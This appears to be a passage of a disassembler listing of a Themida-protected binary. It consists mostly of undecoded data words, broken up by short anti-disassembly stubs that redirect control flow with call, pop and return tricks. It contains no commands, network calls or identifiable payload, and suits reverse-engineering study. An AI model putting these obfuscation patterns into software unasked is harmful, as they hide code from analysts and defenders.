dd 0FFC2AA75h, 0CE960F4Ch, 72000000h, 3AD19C6Dh, 5AA5F08Bh
dd 0DCE520BFh, 1C090C41h, 745BE7E2h, 9423D984h, 2663AE49h
dd 88F1BE4Fh, 0DE676C4Eh, 5E058CD7h, 0F8DF16AFh, 0CE19B40Dh
dd 0F4FBE91h, 0A03B827Eh, 56D30A55h, 0EF7D0A1Ch, 2DA42B76h
dd 0FC79B0EDh, 0F7715917h, 5E457CC7h, 64E31AA3h, 0D9EB2AE7h
dd 23F8AF7h, 58619C43h, 69D42B1Ah, 0CF12DD1Dh, 0DFh, 0A72E8778h
dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh
dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E320A562h
dd 98CC05EFh, 541DEED5h, 2BC611A8h, 31CCA3E0h, 0ECA85188h
dd 0D824480Eh, 0F0C07DFAh, 0D520E7E2h, 0A71EEB8Ah, 0ED6CAB6Ah
dd 0E2F0B370h, 8BC813E7h, 0E56C45B4h, 259C6DE9h, 0A312EB8Ah
dd 3C65A51Ch, 0E21702BFh, 0CC1762E7h, 17821895h, 0E934DFE3h
dd 675EAF4Eh, 73778730h, 0F5089B83h, 7510A556h, 0EF2EED2Ah
dd 0C61E5C46h, 0E3F68C49h, 40A1ECEFh, 0F594017Ah, 0C813AE05h
dd 6C45B48Bh, 0CC9D9CD1h, 76910714h, 0A213EAABh, 4085741Bh
dd 34DF06C3h, 0D01B6607h, 4D609635h, 3F2655B2h, 125DF8CFh
dd 0E6AF7AD5h, 70179E17h, 4A8D2899h, 3, 6DB6DA26h, 0E988239Ah
dd 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh, 6C0BA61Fh
dd 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E38953h, 4C3h
dd 4EB8300h, 31241C33h, 1C33241Ch, 89525C24h, 4C281E2h
dd 81000000h, 4EAh, 24148700h, 2434895Ch, 6EEF68h, 243C8900h
dd 2590BD55h, 814560AAh, 27F9DCDh, 6BBF575Eh, 81244566h
dd 2B64A5CFh, 0FAF7815Bh, 313D6977h, 0C5815FFDh, 0CB549255h
dd 545DEE89h, 83243C8Bh, 815604C4h, 4A71242Ch, 478F2E43h
dd 8478108h, 2E434A71h
; ---------------------------------------------------------------------------
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59895C
; ---------------------------------------------------------------------------
db 69h, 1Ch, 16h
dd 0DDFEBFE6h, 6A1C695h, 0B891DEBFh, 8010B0Fh, 0E0FFC503h
dd 78D4E5ACh, 675769D4h, 4704B580h, 471F60D9h, 117AC2E6h
dd 4DBFA388h, 781FDD0Ch, 2CF4538Eh, 1C5C4E7h, 6323B739h
dd 67B9692Dh, 608D9232h, 3DF6F57Ah, 0BA84A2Dh, 147C9535h
dd 3DA209B1h, 2483DD71h, 42DD40ACh, 764C9A27h, 37C1AFE1h
dd 3C83C2FEh, 5AD1FC8Fh, 3FC26DEBh, 14704C56h, 7F33E992h
dd 3B29FF50h, 74E84C65h, 0D108D8Dh, 6A0801h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 26BFDEC3h
dd 0C59D0189h, 907FA0Eh, 0FA2F3985h, 0D98D8907h, 6A07FA1Ch
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 6E34C351h, 8B99136Ch, 0FA02BD95h, 0AD85C707h
dd 2C07FA31h, 6A00006Ch, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0B5F0C350h, 2D3F8968h
dd 0F80E0E8h, 5E9FBBFh, 0E7000000h, 0EE4F4A3Bh, 2BD985C7h
dd 7FAh, 0B5890000h, 7FA2145h, 0B5FFAEB3h, 7FA112Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5AC35343h, 179995FFh
dd 49B407FAh, 34C1858Bh, 6A07FAh, 101995FFh, 0C08B07FAh
dd 961B59EBh, 2536D869h, 21A966F6h, 0A525EFB5h, 0E07B8D15h
dd 0AC84D7DDh, 2D50EA48h, 95145223h, 180B0A37h, 0CC87BEEEh
dd 0C41E5F50h, 6388631Ch, 993E69D4h, 1D424CA3h, 7961CAC7h
dd 50A3BD68h, 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h
dd 6D3BA0C1h, 0B5F5EF05h, 8DBC3C5Bh, 10E758Dh, 68E0F08h
dd 89000000h, 0FA01B18Dh, 0E3816607h, 8D89E8B5h, 7FA1CD9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h
dd 1D99D8Bh, 0B58B07FAh, 7FA00B5h, 16E9BD8Bh, 85C707FAh
dd 7FA31ADh, 61C0h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0E8C35141h, 3ADC5312h, 0F5D1D50h, 0C7FCF9BFh
dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 8BD18EEEh, 0FA2B91B5h
dd 49B5FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 10EAC357h, 0DBBF0FC2h
dd 9995FFF8h, 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 7A2FC355h, 47BCF338h
dd 11852905h, 6A07FA26h, 1995FF00h, 8B07FA10h, 623DEBC0h
dd 87048AA1h, 4E89C962h, 75FA6523h, 403BD501h, 47B0E79Fh
dd 565B97F9h, 9C471DC2h, 815893C7h, 1A263EECh, 0EF11191Eh
dd 796F3041h, 212FD7FEh, 0D260B343h, 0AE947B51h, 59175EABh
dd 12E8h, 0EB264100h, 8AF75F3Fh, 400AEA1Ah, 9B63DD94h
dd 8B8AE67Bh, 0FA10D1BDh, 85895807h, 7FA02CDh, 6770C081h
dd 8D890000h, 7FA0675h, 34FFD233h, 0D98B6602h, 0D18D8B5Eh
dd 8107FA2Ah, 50E3BBF6h, 0C681F860h, 24D3BB1h, 0EF9BD8Bh
dd 0F68107FAh, 7F4339Fh, 20F99D89h, 8A5607FAh, 10048FFEh
dd 20BDBD8Bh, 8F0F07FAh, 4, 995BB66h, 8B01EA83h, 0FA0B05BDh
dd 4A4A4A07h, 81D98B66h, 0FF991CFAh, 0A3850FFFh, 8BFFFFFFh
dd 0FA1E7D9Dh, 5E807h, 0A1BE0000h, 8BCB2C0Eh, 0FA159D8Dh
dd 860F5A07h, 2, 0C2813BB0h, 6F6Eh, 0B714ECBFh, 5EF78106h
dd 6606B70Fh, 8B308DB8h, 8E81Ah, 0EE360000h, 575B468Ch
dd 0B8519EB4h, 3926D502h, 0C3815858h, 49A25133h, 8158F553h
dd 0F520D2C3h, 8D8B602Eh, 7FA01A5h, 61F28B66h, 0DDB2EB81h
dd 89FC0D37h, 5830F1Ah, 0B8000000h, 791C2FC8h, 102EA83h
dd 0FA0799BDh, 4F4A4A07h, 10850Fh, 25E90000h, 0B3000000h
dd 252BA125h, 8E4326A9h, 8589D40Ch, 7FA18A1h, 0FFFF8EE9h
dd 0ABCCD0FFh, 0DBDC82B4h, 2C000AAAh, 8FCC74F5h, 10DA8D8Dh
dd 13B20801h, 1CD98D89h, 0BD0B07FAh, 7FA312Dh, 0AD858B60h
dd 0E807FA0Ah, 8, 355DC9FEh, 0C9ADBCE1h, 8E8h, 2CEF8600h
dd 25FC003Ah, 615F5E94h, 31AD85C7h, 6D7C07FAh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 22AD77C3h, 1CF4D400h, 0C7230BB3h, 0FA2BD985h, 7, 9E95700h
dd 4C000000h, 0E1E465CDh, 0D2C6A41Dh, 99B5FF5Bh, 6A07FA1Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 4F8BC356h, 183A299h, 0FA2D71BDh, 0DBBF0F07h
dd 179995FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 941453C3h, 9E70B971h, 95FF006Ah
dd 7FA1019h, 3AEBC08Bh, 628587FDh, 6C35964Fh, 23BDE8C0h
dd 4E5035A2h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh
dd 1BF1A4C6h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh
dd 0CFBD9CA5h, 8D8D2349h, 8011209h, 0DDB58B56h, 5B07FA24h
dd 1CD98D89h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0CAE560C3h, 4890Fh, 0BB660000h
dd 958B53DBh, 7FA272Dh, 31AD85C7h, 6DF407FAh, 0AE90000h
dd 9A000000h, 0B940C57Ah, 7B031051h, 0BE94Eh, 0EE430000h
dd 42D66AB7h, 8448F64Fh, 0D985C77Fh, 7FA2Bh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 32B2C352h, 16B9EF99h, 996E4B99h, 45858B50h
dd 5F07FA31h, 0EEDB5FFh, 8B6607FAh, 9995FFDFh, 6A07FA17h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0E9CBC350h, 14h, 61D8CA2Ch, 9E772A7Fh, 5EF71322h
dd 6CD62C0Bh, 178C555Bh, 6AE5F380h, 1995FF00h, 8B07FA10h
dd 895DEBC0h, 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 8398B409h
dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h, 0F3106163h, 85DCF414h
dd 7CB3FFE9h, 0DF1734BFh, 29FA616Dh, 49E44D7Ch, 811541FAh
dd 88381987h, 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h
dd 1EDF32F0h, 34A7E244h, 6BC44B9Fh, 8030CCE7h, 133C8D8Dh
dd 95890801h, 7FA0055h, 1CD98D89h, 85C707FAh, 7FA31ADh
dd 601Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0E6C35646h, 0CFA7831Dh, 3F3CCCB3h, 0D372BE66h
dd 0E533CBEh, 0D985C723h, 7FA2Bh, 66000000h, 0B5FFF78Bh
dd 7FA1E99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 83C35646h, 7A625EFCh, 0B58926FDh, 7FA1781h, 21059589h
dd 95FF07FAh, 7FA1799h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 20C35141h, 951F952Ch, 13E98100h, 2B000000h
dd 0B6ADA348h, 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 6A4313h
dd 101995FFh, 0C08B07FAh, 0BC3D3AEBh, 0AD4BB669h, 2B79E2AEh
dd 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h, 0AB5AD43Eh
dd 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h
dd 1942B0BCh, 0EC8CDCEDh, 0CE8h, 91D65B00h, 213C4ED8h
dd 24D7A52h, 8D89516Dh, 7FA285Dh, 860F5A58h, 6, 0B05BD01h
dd 0C28107FAh, 7248h, 73BEFE8Bh, 0BF00001Ch
dd 0B96A9EBh, 95290A8Bh, 7FA1F11h, 2B92F181h, 2BB14A6h
dd 813B0676h, 75852AC1h, 0CF18162h, 8B0A817Bh, 0FA323185h
dd 810A8907h, 9F78C8F0h, 3EA833Fh, 7E9h, 0ED27A800h, 0CAD85D2Ah
dd 0D59D034Ah, 4E07FA10h, 0FFB6850Fh, 8B66FFFFh, 5E8DEh
dd 4BA90000h, 0F0D375Eh, 58Fh, 2D39BB00h, 89583403h, 0FA1E9D9Dh
dd 0D6C08107h, 8B000071h, 0FA0A598Dh, 89FF2B07h, 0FA15319Dh
dd 734FF07h, 0A9B50B52h, 5E07FA0Eh, 0A19D8B5Ah, 8107FA11h
dd 8D007CC2h, 0CA8B6672h, 2805EA81h, 0BF0F1E95h, 18EA81F2h
dd 8B7EBE30h, 0FA30B98Dh, 14E95207h, 92000000h, 0CA744B6Fh
dd 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 8F2D0011h, 81663804h
dd 232A4CEEh, 0FA1D79B5h, 0C3EF8107h, 666F0102h, 0C781DF8Bh
dd 6F0102BFh, 1CFD8D8Bh, 0FF8107FAh, 0FFFF8ED0h, 0FF87850Fh
dd 0D681FFFFh, 5328225Eh, 159F8D8Dh, 8B660801h, 0D98D89F2h
dd 6A07FA1Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 3FA1C353h, 8E885F5h, 4DD78166h
dd 0AD85C78Bh, 2007FA31h, 6A000075h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EE66C356h
dd 0BDA29BFCh, 0B257DA5h, 85C7D88Bh, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5F496B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F496B proc near ; CODE XREF: Themida_:005F4963p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5F496B endp
; ---------------------------------------------------------------------------
and eax, eax
push edi
mov [ebp+7FA0E29h], ecx
add [ebp+7FA2DCDh], eax
push dword ptr [ebp+7FA2F59h]
push 0
push esi
call sub_5F499B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F499B proc near ; CODE XREF: Themida_:005F4993p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5F499B endp
; ---------------------------------------------------------------------------
aad 4Bh
mov [ebp+7FA3289h], esi
call dword ptr [ebp+7FA1799h]
push 0
push ebp
call sub_5F49C4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F49C4 proc near ; CODE XREF: Themida_:005F49BCp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5F49C4 endp
; ---------------------------------------------------------------------------
dd 664898E3h, 0FF006ADBh, 0FA101995h, 0EBC08B07h, 3B4A3F0Ch
dd 1C0BEE8Fh, 8FDE3538h, 0DE8CBh, 2FC20000h, 65F849A2h
dd 0F821921h, 665F741Eh, 59058BBAh, 0C181CAB4h, 6CF8h
dd 3359CB81h, 0E683D99h, 0B000001Bh, 81665FA4h, 0FF0AECE8h
dd 21B50931h, 5E07FA1Ch, 2F819D89h, 0EE8107FAh, 604DE2D6h
dd 6E9h, 2812E700h, 81536395h, 0C01CE7C6h, 9E940h, 0FF660000h
dd 23EE9716h, 817D5FC5h, 0C3BF31C6h, 81BD3114h, 8907FA11h
dd 0C18B6631h, 8A04E983h, 1EF81FCh, 0F000000h, 2285h, 68D0F00h
dd 8B000000h, 0FA329585h, 30E907h, 83840000h, 8C1043Ch
dd 0ABE523CEh, 5C21DE8Fh, 9420FF6h, 0FA2AB1BDh, 0FF7DE907h
dd 0F0BDFFFFh, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch, 0FBECEC6Fh
dd 13E87D97h, 95000000h, 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch
dd 0D4994965h, 0B866DA1Fh, 6659B552h, 9393F281h, 6529C181h
dd 8D890000h, 7FA1525h, 4C78ACBEh, 8BF68171h, 52714C61h
dd 2EE1850Bh, 0FF5A07FAh, 3D958B31h, 5B07FA1Fh, 0BE9h
dd 0E9A20F00h, 76F1193Eh, 0D5691D84h, 0EEFFF381h, 0B70F7444h
dd 98C381C1h, 810FB44Eh, 3CE5E4EBh, 8902B664h, 0CD850B19h
dd 8307FA27h, 0BF0F02E9h, 8B4949C6h, 850F4EF9h, 0FFFFFFB7h
dd 68F0Fh, 0BD8B0000h, 7FA299Dh, 0AE8h, 0B9001D00h, 0D5A73991h
dd 582D5E41h, 0DE8h, 0E867AE00h, 1A4416DAh, 97416CE4h
dd 0F580BF73h, 0C0815AB3h, 699Ch, 68C0Fh, 958B0000h, 7FA0B89h
dd 68h, 0AE95000h, 31000000h, 5D34FDD0h, 35780F2h, 815F5AF0h
dd 0D02ED6E9h, 734FF3Ch, 0FDC18166h, 0EE95BDBh, 69000000h
dd 91572E89h, 0DA40906Fh, 0E35BB2FEh, 0A8EB81AFh, 565D70DAh
dd 0DEC3815Ah, 8B4B33EFh, 84EB81D1h, 894BDF97h, 0FA0EA985h
dd 0B5015307h, 7FA0AF1h, 6638048Fh, 0D68BD78Bh, 8904EF83h
dd 0FA104DB5h, 10FF8107h, 0FFFFF97h, 0FFFFA485h, 0CBE66FFh
dd 34AC42A5h, 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h
dd 30259083h, 3025DD6Fh, 198A786h, 3022E887h, 30AD8D89h
dd 8DA68486h, 37DF42A3h, 4BA12E86h, 0F6259086h, 0CA232D03h
dd 6B4D6A81h, 0B1FC8418h, 793E2DB2h, 85DAF552h, 37DF43B7h
dd 93F8A40Bh, 0E0DA977Bh, 0B5E3B80Dh, 37DF22E3h, 3021FAC8h
dd 0E7650986h, 0BB752CC4h, 0BB2166C2h, 1461A886h, 85DAC882h
dd 37DF48A3h, 93F8A10Bh, 0E0DA157Bh, 209CF10Dh, 0D9258486h
dd 3025428Eh, 3EA02E20h, 79259086h, 0B52A818Dh, 0CFDADB76h
dd 30251F6Fh, 56B88486h, 88227EC9h, 30254283h, 8DA8C279h
dd 38248742h, 28AEC50Bh, 229D2C87h, 1BA322A3h, 34AC4249h
dd 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h, 30259083h
dd 3025DD6Fh, 198A786h, 0F305E983h, 22B9A4h, 32E90000h
dd 0BD000000h, 81BC5h, 0Bh dup(0)
dd 80CE900h, 82940000h, 0D939E61Ch, 33E28FC5h, 8788356Bh
dd 0DD34E117h, 0A2578BC1h, 104658B9h, 0B7EDB163h, 6298060Ah
dd 0A405EB5h, 64C7E33Bh, 9207E79Bh, 7AE0752Ch, 44FFE683h
dd 3899CFCFh, 637F0F51h, 7E0B1E5h, 0B81DA801h, 620F4559h
dd 0FD62EDB1h, 98FD8816h, 3398237Bh, 0A032BDE1h, 0B915BD77h
dd 2B073171h, 0D1B06EACh, 0CB359804h, 0DB5B07E0h, 0E0CB5CBFh
dd 0C8318A07h, 3E7A122h, 88588E10h, 406ED750h, 8EEEh, 0C8499E00h
dd 0DFFB4BD6h, 7E0BF7Ch, 42E851AAh, 346AA78Bh, 0E0459A9h
dd 74A00590h, 0D769F2Ah, 67F2AC68h, 26EB983Eh, 0A0D1ED78h
dd 4DC217E6h, 0F79DC651h, 47D7C74Ah, 0D77D21F2h, 8B91C999h
dd 482F3874h, 0C0000000h, 0A9346AA7h, 0E683177Dh, 6B33DFFFh
dd 0F7967BE0h, 9EDAA597h, 0FE89F200h, 21C983ACh, 8E722CADh
dd 75D8F483h, 9BFFE6FAh, 0BCA3D942h, 5Ah, 98F51F74h, 79ACF569h
dd 0D964CDF1h, 0EA0A6D89h, 0DF38FFE6h, 0A719D076h, 451DF86Ah
dd 1A43CED0h, 54C126B1h, 2D96BF4Ah, 0A80D39C4h, 72FFE683h
dd 504EC2A0h, 0A8339CC5h, 83D93C58h, 0AE07FFE6h, 9940A09h
dd 15BD77B0h, 0B2965091h, 8C12035Fh, 0DF6FD801h, 6E148A8Ah
dd 96F37930h, 0A5FA3ACAh, 178B316Dh, 7E094FDh, 60C550A9h
dd 3A64ADB5h, 27EE9BD1h, 0B6D3EC77h, 40FE1AAAh, 1E0FDAA9h
dd 33E035C5h, 53D8105Ah, 0B51E46CAh, 0C1EA7C0Fh, 0ACF22307h
dd 524CC976h, 40489BC7h, 0D4FDFFE7h, 0BFDF361Ah, 9CF3D289h
dd 52C115C4h, 0F5A967BCh, 2D71A24Fh, 3292BC7Eh, 254A750Dh
dd 56FD028Dh, 0CC8B8DCh, 84712866h, 3774833Ch, 34DAh, 9CF36B00h
dd 0A0BC15C4h, 0FFE6833Dh, 0BC5B0A63h, 0F46EA75Dh, 0BA1F6E1Fh
dd 98114462h, 0BC17C62Fh, 6AF5A967h, 91F09B41h, 786Dh
dd 43D02500h, 1A7D05Bh, 607CBC4Ah, 0FFE682FDh, 2487A323h
dd 52FFE683h, 89EA90F9h, 0B81B3706h, 0A5FFE683h, 2319D6D6h
dd 0B636774Ch, 0E745379Ah, 9B045DFFh, 0A0BC8332h, 0FFE6833Dh
dd 58982841h, 0E683D93Ch, 34AE07FFh, 0A9212BDEh, 0A057FDD5h
dd 6EA75DBCh, 838AED09h, 23B8FFE6h, 0B444ADF1h, 0E6833598h
dd 99025BFFh, 3F69A9EAh, 1EAFEB6Ch, 0C4DA367Bh, 1A71039h
dd 326CA74Ah, 4867BA7h, 0BFF8FFEBh, 0ACF22105h, 5648C976h
dd 0F3AB66CBh, 611B4C68h, 7A0A947Dh, 0E1E79E50h, 0C76DCD19h
dd 0D281B989h, 28683878h, 0EABAA90Ch, 0D97ED7FFh, 0AED7623Ch
dd 4D2708h, 0A7B80000h, 841AF66Ch, 0E82BD0F9h, 0A9C24DB6h
dd 0B0F080E0h, 0E6833194h, 60065FFFh, 9F46ACC8h, 0FB2507E0h
dd 0F5F1F0AEh, 9A040D80h, 0E9428B31h, 12CC055Eh, 29B9E52Eh
dd 0E6603ED4h, 0C72E12Fh, 7CBA60EAh, 2588A4E4h, 4B07E0E3h
dd 0A7954CF2h, 8EA7326Ch, 0B9D565FBh, 7E090C7h, 0CF7CB20Bh
dd 8ACA5A44h, 0E0900B6Eh, 50520007h, 1EEFCA95h, 4BDE84DDh
dd 7BD1D1FBh, 0B81B6414h, 7E5A9E12h, 0F2208C53h, 6FFAA470h
dd 0ED52DD46h, 5AEC7727h, 36CF7731h, 0B45F43FDh, 0C71CB4EAh
dd 9CC5504Eh, 0D4CA49F6h, 0B6B81A44h, 0DF388BFBh, 2C56A639h
dd 685D761Ah, 0B516BC7Dh, 0BCFC8CD4h, 0F1FCAE92h, 0CC46EB2Eh
dd 51C469D2h, 3933A74Dh, 8D8B6914h, 0FA8519F8h, 83D868D1h
dd 7BD0008Dh, 0E0E98C13h, 0DC93D177h, 15C49CF3h, 6CA752C1h
dd 5F168332h, 74833C84h, 23DA37h, 0F36B0000h, 0BC15C49Ch
dd 0E6833DA0h, 5B0A63FFh, 6EA75DBCh, 4AA98130h, 0F3AB67BCh
dd 0B2993F68h, 3Ch, 0C49CF34Bh, 277CBC15h, 0E74AB6E8h
dd 0DFFE682h, 5A760EB4h, 0FFE682F7h, 89679CEh, 43AE547Dh
dd 0D63B27EEh, 47F65FC8h, 6EA75DBCh, 67BC8130h, 0EE8DE4A9h
dd 2A52D6D0h, 11701BC1h, 0C7C092BCh, 0D5AA8103h, 0D91822Fh
dd 24615682h, 0DA13FFEBh, 0C7D73C20h, 712DE491h, 0E9081E6h
dd 0B2EC297Eh, 2C5D790Ch, 1B838E72h, 2FDD15E5h, 2C7B3879h
dd 0C000000h, 0A7326CA7h, 0D565FB8Eh, 0E09A4FB9h, 0BA1A4407h
dd 173AFD5Bh, 469FE88Eh, 6F2962BBh, 8616888Bh, 10C72A46h
dd 94ED07E1h, 0A7F9B0EEh, 8EA7326Ch, 0B9D565FBh, 7E0AF5Fh
dd 84E70383h, 0B207E0AFh, 0ACA6DF59h, 558B01E9h, 0F3FFB6ECh
dd 0BC15C49Ch, 4DF3AB67h, 6CA74BBAh, 5F168332h, 74833C84h
dd 49DA37h, 0BC6B0000h, 4BF1AD67h, 0CBBA5EAh, 833DA0BCh
dd 0EA14FFE6h, 4EB86075h, 3C5F9179h, 854639B3h, 16ABF49Ah
dd 0F11AA5F9h, 5DBCD988h, 81306EA7h, 0D2969A9h, 0FFE683AAh
dd 22D97FD8h, 0F9C292BCh, 8FE43B05h, 2002E9h, 0F39B0000h
dd 0BC15C49Ch, 0E6833DA0h, 792841FFh, 6EA75DBCh, 0F37E20F4h
dd 8E19858Eh, 0E493FC65h, 6CA74AA9h, 867BA732h, 0F8FFEB04h
dd 0F63605BFh, 0EB0477DAh, 11D9DFFh, 0FFEB049Eh, 72026BC4h
dd 0EB03F356h, 22C821FFh, 0CA009E75h, 1DA8F61Dh, 49A78CDh
dd 0AA0D2979h, 0D8FFEB04h, 0F70167Fh, 1656E67Ah, 0EB0497FAh
dd 0E4BA59FFh, 0CA44AA3h, 49A77CCh, 2C24EA5Eh, 0B91207E5h
dd 9CF3CC83h, 33DF34C4h, 0C10EC56Bh, 326CA752h, 845F1683h
dd 3774833Ch, 40DAh, 0DD358A00h, 670D36C1h, 0B39CF3B0h
dd 2310ABCDh, 5F0E7748h, 833DA0BCh, 0E363FFE6h, 0E68364C7h
dd 0D03992FFh, 7529EB40h, 92BC18CFh, 98C0AC7Dh, 0AE46EC60h
dd 306EA74Fh, 6D4AA981h, 1Fh, 0C49CF306h, 3DA0BC15h, 41FFE683h
dd 5DBC7928h, 81306EA7h, 0CE9F92BCh, 0AABE56E2h, 0A7FA5904h
dd 78A2326Ch, 360E6BCBh, 0E4476363h, 12FFE75Bh, 17AA50B9h
dd 0EBDDF6EBh, 954F88FFh, 150062B1h, 3B902089h, 0E11FC5D9h
dd 5898DF34h, 0EADBD93Ch, 42AE07FFh, 0FFEADBDFh, 0B843AC05h
dd 0E676EA9Fh, 0E4F7CCCAh, 5181AB07h, 4810943Dh, 0B75BE64h
dd 0B10E27CBh, 669C0596h, 0F728ECEh, 3507E490h, 0F37F36DCh
dd 0C115C49Ch, 326CA752h, 283862A2h, 4DA86B3Eh, 472D90FCh
dd 0FA53FFE7h, 7E169D54h, 2AB5E929h, 84A45B01h, 3774833Ch
dd 37DAh, 9CF36B00h, 0AC158988h, 3DA0BCFDh, 14FFE683h
dd 0D38B90EAh, 7F4CEE09h, 0B759D323h, 5D41CFBBh, 9A40A9D2h
dd 0BC49F851h, 0F46EA75Dh, 6A19821Ch, 286D4AA9h, 6000000h
dd 15C49CF3h, 833DA0BCh, 2841FFE6h, 0AC46E98h, 18DAD07h
dd 5DBCA45Bh, 81306EA7h, 0B83D92BCh, 86293280h, 0A7D635E0h
dd 4DA2326Ch, 2975A0C2h, 660C759Eh, 80CFBAD3h, 0D895E352h
dd 8E872C0Bh, 0F35C8510h, 99050E63h, 0A73FE50Eh, 0E123CD8Bh
dd 6AA0F907h, 50E08009h, 4757BB10h, 387C2DA1h, 116A0FE2h
dd 0B6F63686h, 0E207379Ah, 98045D0Fh, 0FE20735h, 0AF5C025Bh
dd 57043A64h, 2B57E2BCh, 0FFCECBBh, 0ECD08AC3h, 94417727h
dd 79DCF87Fh, 0A70FC7E3h, 3569A94Eh, 33DC41CCh, 997BE06Bh
dd 0FD157A05h, 9BC416A1h, 3E6739E1h, 2B73A084h, 0D3CB48F5h
dd 3A948h, 0BB420000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh
dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h
dd 108E84E9h, 89535285h, 4C381E3h, 81000000h, 4EBh, 241C8700h
dd 2404895Ch, 87868h, 24048900h, 81E18951h, 4C1h, 4E98100h
dd 87000000h, 895C240Ch, 0ED68240Ch, 8B080118h, 0C4832404h
dd 0C8B5404h, 4C48124h, 81000000h, 4ECh, 242C8900h, 6989C589h
dd 34FF5D08h, 0C4835924h, 2434FF04h, 4C48158h, 0E9000000h
dd 0FFF95E08h, 0F4C86DE4h, 0EE70D60h, 71490D5Ah, 7DB8A554h
dd 3080120h, 0D6E0FFC5h, 573D4412h, 895694ACh, 0FC2A4B57h
dd 1C4CC4C8h, 3B143EB1h, 2905DD36h, 5317B423h, 5D281647h
dd 47078B0Fh, 5C486377h, 3C14B8F2h, 0AF2C85F1h, 2D57B4C2h
dd 0D80092CBh, 7A047A78h, 0BB5B3EBBh, 0C60BDDCh, 8D764F86h
dd 1225D8Dh, 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 3263FE6Dh, 89DC4400h, 0FA237995h
dd 9E807h, 0AB750000h, 4757347Fh, 0FD1A9B6h, 895EF3BFh
dd 0FA1CD98Dh, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 8956B399h, 0FA249985h
dd 0AD85C707h, 0FC07FA31h, 8100005Dh, 6E9CB5C8h, 0FE938h
dd 0D2D60000h, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0D985C75Ch
dd 7FA2Bh, 0E9000000h, 13h, 297DACBh, 0E87CAEDFh, 4F2F2599h
dd 0FF569FDh, 0FF11D44Bh, 0FA1E99B5h, 10E907h, 0C930000h
dd 0F56A74ABh, 0E9463AC2h, 85D1327Ah, 0F513C4Ch, 0FF5AC2BFh
dd 0FA179995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0CEFB25ADh, 0B642DAACh
dd 0DE925h, 0CCB0000h, 5E78AEE3h, 0B0162E06h, 6A8DAF1Ch
dd 1995FF00h, 8B07FA10h, 923AEBC0h, 0CF55401h, 307D3EE5h
dd 2A0FEE0Bh, 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh
dd 0A9619A42h, 0AB22069Ah, 5BAD66B2h, 561795F4h, 700B2226h
